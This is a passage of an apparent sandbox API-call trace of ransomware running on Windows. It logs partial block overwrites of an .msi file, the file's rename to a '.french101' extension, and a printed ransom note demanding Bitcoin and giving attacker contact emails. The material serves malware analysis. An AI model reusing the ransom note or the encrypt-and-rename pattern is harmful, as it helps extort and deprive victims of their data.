lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.311] SetFilePointer (in: hFile=0x398, lDistanceToMove=1098837, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x10c455 [0266.311] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.311] SetFilePointer (in: hFile=0x398, lDistanceToMove=1132844, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x11492c [0266.311] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.311] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0266.311] GlobalLock (hMem=0x3f4000c) returned 0x3aeee20 [0266.312] GlobalHandle (pMem=0x3aeee20) returned 0x3f4000c [0266.312] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.312] GlobalReAlloc (hMem=0x3f4000c, dwBytes=0x4000, uFlags=0x2) returned 0x3f4000c [0266.312] GlobalLock (hMem=0x3f4000c) returned 0x3aeee20 [0266.312] GlobalHandle (pMem=0x3aeee20) returned 0x3f4000c [0266.312] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.312] GlobalReAlloc (hMem=0x3f4000c, dwBytes=0x6000, uFlags=0x2) returned 0x3f4000c [0266.312] GlobalLock (hMem=0x3f4000c) returned 0x3aeee20 [0266.312] GlobalHandle (pMem=0x3aeee20) returned 0x3f4000c [0266.312] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.312] GlobalReAlloc (hMem=0x3f4000c, dwBytes=0x8000, uFlags=0x2) returned 0x3f4000c [0266.312] GlobalLock (hMem=0x3f4000c) returned 0x3aeee20 [0266.312] GlobalHandle (pMem=0x3aeee20) returned 0x3f4000c [0266.312] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.312] GlobalReAlloc (hMem=0x3f4000c, dwBytes=0xa000, uFlags=0x2) returned 0x3f4000c [0266.312] GlobalLock (hMem=0x3f4000c) returned 0x3aeee20 [0266.313] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0266.313] GlobalUnlock (hMem=0x3f40004) returned 0 [0266.313] GlobalHandle (pMem=0x3aeee20) returned 0x3f4000c [0266.313] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.313] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0266.313] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0266.313] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.313] GlobalReAlloc (hMem=0x3f4000c, dwBytes=0xa000, uFlags=0x2) returned 0x3f4000c [0266.313] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0266.313] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0266.314] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.331] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0266.332] WriteFile (in: hFile=0x398, lpBuffer=0x3e5bf88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5bf88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.332] SetFilePointer (in: hFile=0x398, lDistanceToMove=44786, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xaef2 [0266.332] WriteFile (in: hFile=0x398, lpBuffer=0x3e5c388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5c388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.332] SetFilePointer (in: hFile=0x398, lDistanceToMove=77216, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x12da0 [0266.332] WriteFile (in: hFile=0x398, lpBuffer=0x3e5c788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5c788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.332] SetFilePointer (in: hFile=0x398, lDistanceToMove=119713, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1d3a1 [0266.332] WriteFile (in: hFile=0x398, lpBuffer=0x3e5cb88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5cb88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.332] SetFilePointer (in: hFile=0x398, lDistanceToMove=144695, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x23537 [0266.332] WriteFile (in: hFile=0x398, lpBuffer=0x3e5cf88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5cf88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.333] SetFilePointer (in: hFile=0x398, lDistanceToMove=181277, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2c41d [0266.333] WriteFile (in: hFile=0x398, lpBuffer=0x3e5d388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5d388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.333] SetFilePointer (in: hFile=0x398, lDistanceToMove=200704, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x31000 [0266.333] WriteFile (in: hFile=0x398, lpBuffer=0x3e5d788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5d788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.333] SetFilePointer (in: hFile=0x398, lDistanceToMove=240268, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3aa8c [0266.333] WriteFile (in: hFile=0x398, lpBuffer=0x3e5db88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5db88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.333] SetFilePointer (in: hFile=0x398, lDistanceToMove=292257, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x475a1 [0266.333] WriteFile (in: hFile=0x398, lpBuffer=0x3e5df88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5df88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.333] SetFilePointer (in: hFile=0x398, lDistanceToMove=310675, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x4bd93 [0266.333] WriteFile (in: hFile=0x398, lpBuffer=0x3e5e388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5e388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.333] SetFilePointer (in: hFile=0x398, lDistanceToMove=341769, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x53709 [0266.333] WriteFile (in: hFile=0x398, lpBuffer=0x3e5e788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5e788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.334] SetFilePointer (in: hFile=0x398, lDistanceToMove=380278, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x5cd76 [0266.334] WriteFile (in: hFile=0x398, lpBuffer=0x3e5eb88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5eb88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.334] SetFilePointer (in: hFile=0x398, lDistanceToMove=423428, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x67604 [0266.334] WriteFile (in: hFile=0x398, lpBuffer=0x3e5ef88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5ef88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.334] SetFilePointer (in: hFile=0x398, lDistanceToMove=428699, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x68a9b [0266.334] WriteFile (in: hFile=0x398, lpBuffer=0x3e5f388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5f388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.334] SetFilePointer (in: hFile=0x398, lDistanceToMove=479724, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x751ec [0266.334] WriteFile (in: hFile=0x398, lpBuffer=0x3e5f788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5f788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.334] SetFilePointer (in: hFile=0x398, lDistanceToMove=505955, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x7b863 [0266.334] WriteFile (in: hFile=0x398, lpBuffer=0x3e5fb88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5fb88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.334] SetFilePointer (in: hFile=0x398, lDistanceToMove=530189, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x8170d [0266.334] WriteFile (in: hFile=0x398, lpBuffer=0x3e5ff88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e5ff88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.335] SetFilePointer (in: hFile=0x398, lDistanceToMove=583906, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x8e8e2 [0266.335] WriteFile (in: hFile=0x398, lpBuffer=0x3e60388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e60388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.335] SetFilePointer (in: hFile=0x398, lDistanceToMove=618119, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x96e87 [0266.335] WriteFile (in: hFile=0x398, lpBuffer=0x3e60788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e60788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.335] SetFilePointer (in: hFile=0x398, lDistanceToMove=631619, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x9a343 [0266.335] WriteFile (in: hFile=0x398, lpBuffer=0x3e60b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e60b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.335] SetFilePointer (in: hFile=0x398, lDistanceToMove=682361, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xa6979 [0266.335] WriteFile (in: hFile=0x398, lpBuffer=0x3e60f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e60f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.335] SetFilePointer (in: hFile=0x398, lDistanceToMove=696411, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xaa05b [0266.335] WriteFile (in: hFile=0x398, lpBuffer=0x3e61388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e61388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.335] SetFilePointer (in: hFile=0x398, lDistanceToMove=728465, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb1d91 [0266.335] WriteFile (in: hFile=0x398, lpBuffer=0x3e61788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e61788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=759831, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb9817 [0266.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e61b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e61b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=788383, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xc079f [0266.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e61f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e61f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=840371, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xcd2b3 [0266.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e62388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e62388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=871674, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xd4cfa [0266.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e62788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e62788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=899254, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xdb8b6 [0266.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e62b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e62b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=946626, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe71c2 [0266.336] WriteFile (in: hFile=0x398, lpBuffer=0x3e62f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e62f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=957428, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe9bf4 [0266.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e63388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e63388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=1009761, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xf6861 [0266.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e63788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e63788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=1037857, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xfd621 [0266.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e63b88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e63b88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=1061332, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1031d4 [0266.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e63f88*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e63f88*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=1098837, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x10c455 [0266.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e64388*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e64388*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=1132844, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x11492c [0266.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e64788*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e64788*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0266.337] SetFilePointer (in: hFile=0x398, lDistanceToMove=1163264, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x11c000 [0266.337] WriteFile (in: hFile=0x398, lpBuffer=0x3e64b88*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e64b88*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0266.338] WriteFile (in: hFile=0x398, lpBuffer=0x3e95a98*, nNumberOfBytesToWrite=0x1ca, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesWritten=0x19e7d8*=0x1ca, lpOverlapped=0x0) returned 1 [0266.338] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0266.338] GlobalUnlock (hMem=0x3f40014) returned 0 [0266.338] CloseHandle (hObject=0x398) returned 1 [0266.441] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\sXAut9lWVsdOR85XBHd8+OmFAIQ8OoqUce4piCwT9RU4n2K5.french101" (normalized: "c:\\588bce7c90097ed212\\sxaut9lwvsdor85xbhd8+omfaiq8ooquce4picwt9ru4n2k5.french101")) returned 1 [0266.442] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sXAut9lWVsdOR85XBHd8+OmFAIQ8OoqUce4piCwT9RU4n2K5.french101" (normalized: "c:\\588bce7c90097ed212\\sxaut9lwvsdor85xbhd8+omfaiq8ooquce4picwt9ru4n2k5.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0266.442] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0266.442] CloseHandle (hObject=0x398) returned 1 [0266.443] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sXAut9lWVsdOR85XBHd8+OmFAIQ8OoqUce4piCwT9RU4n2K5.french101", dwFileAttributes=0x80) returned 1 [0266.443] CloseHandle (hObject=0x398) returned 0 [0266.443] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0266.443] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0266.443] GlobalUnlock (hMem=0x3f40014) returned 0 [0266.443] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0266.443] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0266.443] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0266.443] GlobalUnlock (hMem=0x3f40014) returned 0 [0266.443] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0266.443] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.444] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0266.444] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da290 [0266.444] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0266.444] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0266.444] FindClose (in: hFindFile=0x6da290 | out: hFindFile=0x6da290) returned 1 [0266.444] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0266.444] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0266.445] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0266.445] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0266.445] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0266.445] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0266.445] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0266.445] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0266.445] CloseHandle (hObject=0x398) returned 1 [0266.445] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0266.445] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0266.445] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0266.445] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0266.445] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0266.445] GlobalUnlock (hMem=0x3f4000c) returned 0 [0266.445] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0266.446] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0266.446] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0266.446] GlobalUnlock 